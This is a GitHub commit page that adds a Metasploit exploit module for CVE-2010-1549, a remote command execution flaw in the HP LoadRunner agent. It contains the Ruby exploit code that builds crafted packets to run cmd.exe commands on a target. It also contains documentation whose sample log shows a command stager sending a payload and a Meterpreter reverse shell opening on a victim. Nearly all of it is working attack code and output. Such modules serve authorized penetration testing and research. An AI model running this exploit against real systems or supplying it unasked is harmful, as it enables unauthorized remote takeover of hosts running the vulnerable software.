Skip to content

Commit d95b333

Browse files
author
Patrick Webster
committed
Added exploit module for HP LoadRunner command exec vuln CVE-2010-1549.
1 parent 2f6da89 commit d95b333

File tree

2 files changed

+218
-0
lines changed

2 files changed

+218
-0
lines changed

‎documentation/modules/exploit/windows/misc/hp_loadrunner_magentproc_cmdexec.md

Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution (CVE-2010-1549)
2+
3+
This module exploits a remote command execution vulnerablity in HP LoadRunner before 9.50 and also HP Performance Center before 9.50. By sending a specially crafted packet, an attacker can execute commands remotely. The service is vulnerable provided the Secure Channel feature is disabled (default).
4+
5+
## Vulnerable Application
6+
7+
HP LoadRunner 9.50 or below.
8+
9+
Sources unknown - written during blind pentest against remote target.
10+
11+
## Verification Steps
12+
13+
1. Install the application
14+
2. Start msfconsole
15+
3. Do: ```use exploit/windows/misc/hp_loadrunner_magentproc_cmdexec```
16+
4. Do: ```set RHOST victim```
17+
5. Do: ```run```
18+
6. You should get a shell.
19+
20+
## Options
21+
22+
Default RPORT 54345.
23+
24+
## Scenarios
25+
26+
### Win7 OS with unknown vulnerable release of LoadRunner Agent
27+
28+
```
29+
msf > use exploit/windows/misc/hp_loadrunner_magentproc_cmdexec
30+
msf exploit(hp_loadrunner_magentproc_cmdexec) > set RHOST victim
31+
RHOST => victim
32+
msf exploit(hp_loadrunner_magentproc_cmdexec) > exploit
33+
34+
[*] Started reverse TCP handler on 1.1.1.1:4444
35+
[*] victim:54345 - Sending payload...
36+
[*] victim:54345 - Command Stager progress - 1.47% done (1499/102292 bytes)
37+
[*] victim:54345 - Command Stager progress - 2.93% done (2998/102292 bytes)
38+
[*] victim:54345 - Command Stager progress - 4.40% done (4497/102292 bytes)
39+
[*] victim:54345 - Command Stager progress - 5.86% done (5996/102292 bytes)
40+
[*] victim:54345 - Command Stager progress - 7.33% done (7495/102292 bytes)
41+
[*] victim:54345 - Command Stager progress - 8.79% done (8994/102292 bytes)
42+
[*] victim:54345 - Command Stager progress - 10.26% done (10493/102292 bytes)
43+
[*] victim:54345 - Command Stager progress - 11.72% done (11992/102292 bytes)
44+
[*] victim:54345 - Command Stager progress - 13.19% done (13491/102292 bytes)
45+
[*] victim:54345 - Command Stager progress - 14.65% done (14990/102292 bytes)
46+
[*] victim:54345 - Command Stager progress - 16.12% done (16489/102292 bytes)
47+
[*] victim:54345 - Command Stager progress - 17.58% done (17988/102292 bytes)
48+
[*] victim:54345 - Command Stager progress - 19.05% done (19487/102292 bytes)
49+
[*] victim:54345 - Command Stager progress - 20.52% done (20986/102292 bytes)
50+
[*] victim:54345 - Command Stager progress - 21.98% done (22485/102292 bytes)
51+
[*] victim:54345 - Command Stager progress - 23.45% done (23984/102292 bytes)
52+
[*] victim:54345 - Command Stager progress - 24.91% done (25483/102292 bytes)
53+
[*] victim:54345 - Command Stager progress - 26.38% done (26982/102292 bytes)
54+
[*] victim:54345 - Command Stager progress - 27.84% done (28481/102292 bytes)
55+
[*] victim:54345 - Command Stager progress - 29.31% done (29980/102292 bytes)
56+
[*] victim:54345 - Command Stager progress - 30.77% done (31479/102292 bytes)
57+
[*] victim:54345 - Command Stager progress - 32.24% done (32978/102292 bytes)
58+
[*] victim:54345 - Command Stager progress - 33.70% done (34477/102292 bytes)
59+
[*] victim:54345 - Command Stager progress - 35.17% done (35976/102292 bytes)
60+
[*] victim:54345 - Command Stager progress - 36.64% done (37475/102292 bytes)
61+
[*] victim:54345 - Command Stager progress - 38.10% done (38974/102292 bytes)
62+
[*] victim:54345 - Command Stager progress - 39.57% done (40473/102292 bytes)
63+
[*] victim:54345 - Command Stager progress - 41.03% done (41972/102292 bytes)
64+
[*] victim:54345 - Command Stager progress - 42.50% done (43471/102292 bytes)
65+
[*] victim:54345 - Command Stager progress - 43.96% done (44970/102292 bytes)
66+
[*] victim:54345 - Command Stager progress - 45.43% done (46469/102292 bytes)
67+
[*] victim:54345 - Command Stager progress - 46.89% done (47968/102292 bytes)
68+
[*] victim:54345 - Command Stager progress - 48.36% done (49467/102292 bytes)
69+
[*] victim:54345 - Command Stager progress - 49.82% done (50966/102292 bytes)
70+
[*] victim:54345 - Command Stager progress - 51.29% done (52465/102292 bytes)
71+
[*] victim:54345 - Command Stager progress - 52.75% done (53964/102292 bytes)
72+
[*] victim:54345 - Command Stager progress - 54.22% done (55463/102292 bytes)
73+
[*] victim:54345 - Command Stager progress - 55.69% done (56962/102292 bytes)
74+
[*] victim:54345 - Command Stager progress - 57.15% done (58461/102292 bytes)
75+
[*] victim:54345 - Command Stager progress - 58.62% done (59960/102292 bytes)
76+
[*] victim:54345 - Command Stager progress - 60.08% done (61459/102292 bytes)
77+
[*] victim:54345 - Command Stager progress - 61.55% done (62958/102292 bytes)
78+
[*] victim:54345 - Command Stager progress - 63.01% done (64457/102292 bytes)
79+
[*] victim:54345 - Command Stager progress - 64.48% done (65956/102292 bytes)
80+
[*] victim:54345 - Command Stager progress - 65.94% done (67455/102292 bytes)
81+
[*] victim:54345 - Command Stager progress - 67.41% done (68954/102292 bytes)
82+
[*] victim:54345 - Command Stager progress - 68.87% done (70453/102292 bytes)
83+
[*] victim:54345 - Command Stager progress - 70.34% done (71952/102292 bytes)
84+
[*] victim:54345 - Command Stager progress - 71.81% done (73451/102292 bytes)
85+
[*] victim:54345 - Command Stager progress - 73.27% done (74950/102292 bytes)
86+
[*] victim:54345 - Command Stager progress - 74.74% done (76449/102292 bytes)
87+
[*] victim:54345 - Command Stager progress - 76.20% done (77948/102292 bytes)
88+
[*] victim:54345 - Command Stager progress - 77.67% done (79447/102292 bytes)
89+
[*] victim:54345 - Command Stager progress - 79.13% done (80946/102292 bytes)
90+
[*] victim:54345 - Command Stager progress - 80.60% done (82445/102292 bytes)
91+
[*] victim:54345 - Command Stager progress - 82.06% done (83944/102292 bytes)
92+
[*] victim:54345 - Command Stager progress - 83.53% done (85443/102292 bytes)
93+
[*] victim:54345 - Command Stager progress - 84.99% done (86942/102292 bytes)
94+
[*] victim:54345 - Command Stager progress - 86.46% done (88441/102292 bytes)
95+
[*] victim:54345 - Command Stager progress - 87.92% done (89940/102292 bytes)
96+
[*] victim:54345 - Command Stager progress - 89.39% done (91439/102292 bytes)
97+
[*] victim:54345 - Command Stager progress - 90.86% done (92938/102292 bytes)
98+
[*] victim:54345 - Command Stager progress - 92.32% done (94437/102292 bytes)
99+
[*] victim:54345 - Command Stager progress - 93.79% done (95936/102292 bytes)
100+
[*] victim:54345 - Command Stager progress - 95.25% done (97435/102292 bytes)
101+
[*] victim:54345 - Command Stager progress - 96.72% done (98934/102292 bytes)
102+
[*] victim:54345 - Command Stager progress - 98.15% done (100400/102292 bytes)
103+
[*] victim:54345 - Command Stager progress - 99.55% done (101827/102292 bytes)
104+
[*] victim:54345 - Command Stager progress - 100.00% done (102292/102292 bytes)
105+
[*] Sending stage (179267 bytes) to 2.2.2.2
106+
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:55556) at 2017-11-09 03:53:08 +1100
107+
108+
meterpreter > sysinfo
109+
Computer : TARGET
110+
OS : Windows 7 (Build 7601, Service Pack 1).
111+
Architecture : x64
112+
System Language : en_AU
113+
Domain : DOMAIN
114+
Logged On Users : 3
115+
Meterpreter : x86/windows
116+
meterpreter >
117+
Background session 1? [y/N]
118+
119+
```

‎modules/exploits/windows/misc/hp_loadrunner_magentproc_cmdexec.rb

Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::Tcp
10+
include Msf::Exploit::CmdStager
11+
12+
def initialize(info={})
13+
super(update_info(info,
14+
'Name' => "HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution",
15+
'Description' => %q{
16+
This module exploits a remote command execution vulnerablity in HP LoadRunner before 9.50
17+
and also HP Performance Center before 9.50. By sending a specially crafted packet, an
18+
attacker can execute commands remotely. The service is vulnerable provided the Secure
19+
Channel feature is disabled (default).
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' =>
23+
[
24+
'Unknown', # Original discovery # From Tenable Network Security
25+
'aushack' # metasploit module
26+
],
27+
'References' =>
28+
[
29+
['CVE', '2010-1549'],
30+
['ZDI', '10-080'],
31+
['BID', '39965'],
32+
#['OSVDB', ''], # ?
33+
['URL', 'https://support.hpe.com/hpsc/doc/public/display?docId=c00912968']
34+
],
35+
'Payload' => { 'BadChars' => "\x0d\x0a\x00" },
36+
'Platform' => 'win',
37+
'Targets' =>
38+
[
39+
# Note: software reportedly supports Linux - may also be vulnerable.
40+
['Windows (Dropper)',
41+
'Platform' => 'win',
42+
'Arch' => [ARCH_X86, ARCH_X64]
43+
],
44+
],
45+
'Privileged' => false,
46+
'Stance' => Msf::Exploit::Stance::Aggressive,
47+
'DisclosureDate' => "May 06 2010",
48+
'DefaultTarget' => 0))
49+
50+
register_options([Opt::RPORT(54345)])
51+
end
52+
53+
def autofilter
54+
true
55+
end
56+
57+
def execute_command(cmd, _opts = {})
58+
guid = Rex::Text.encode_base64(Rex::Text.rand_text_alphanumeric(17))
59+
randstr = Rex::Text.rand_text_alpha(16)
60+
server_name = Rex::Text.rand_text_alpha(7)
61+
server_ip = datastore['LHOST']
62+
server_port = Rex::Text.rand_text_numeric(4)
63+
# If linux is one day supported, cmd1 = /bin/sh and cmd2 = -c cmd
64+
cmd1 = "C:\\Windows\\system32\\cmd.exe"
65+
cmd2 = "/C \"#{cmd}\""
66+
67+
pkt1 = [0x19].pack('N') + guid + "0"
68+
69+
pkt2 = [0x6].pack('N') + [0x0].pack('N') + "(-server_type=8)(-server_name=#{server_name})(-server_full_name=#{server_name})"
70+
pkt2 << "(-server_ip_name=#{server_ip})(-server_port=#{server_port})(-server_fd_secondary=4)(-guid_identifier=#{guid})\x00\x00"
71+
pkt2 << [0x7530].pack('N')
72+
73+
pkt3 = [4 + pkt2.length].pack('N') + pkt2
74+
75+
pkt4 = [0x1c].pack('N') + [0x05].pack('N') + [0x01].pack('N') + randstr + pkt3
76+
77+
pkt5 = [pkt4.length].pack('N') + pkt4
78+
79+
pkt6 = [0x437].pack('N') + [0x0].pack('N') + [0x31].pack('N') + [1].pack('N') + [0x31000000].pack('N')
80+
pkt6 << [cmd1.length].pack('N') + cmd1 + "\x00" + [cmd2.length].pack('N') + cmd2 + [0x0].pack('N') + [0x0].pack('N')
81+
82+
pkt7 = [4 + pkt6.length].pack('N') + pkt6
83+
84+
pkt8 = [0x18].pack('N') + [0x04].pack('N') + randstr + pkt7
85+
86+
pkt9 = [pkt8.length].pack('N') + pkt8
87+
88+
sploit = pkt1 + pkt5 + pkt9
89+
90+
connect
91+
sock.put(sploit)
92+
disconnect
93+
end
94+
95+
def exploit
96+
print_status("Sending payload...")
97+
execute_cmdstager(linemax: 1500)
98+
end
99+
end

0 commit comments

Comments
 (0)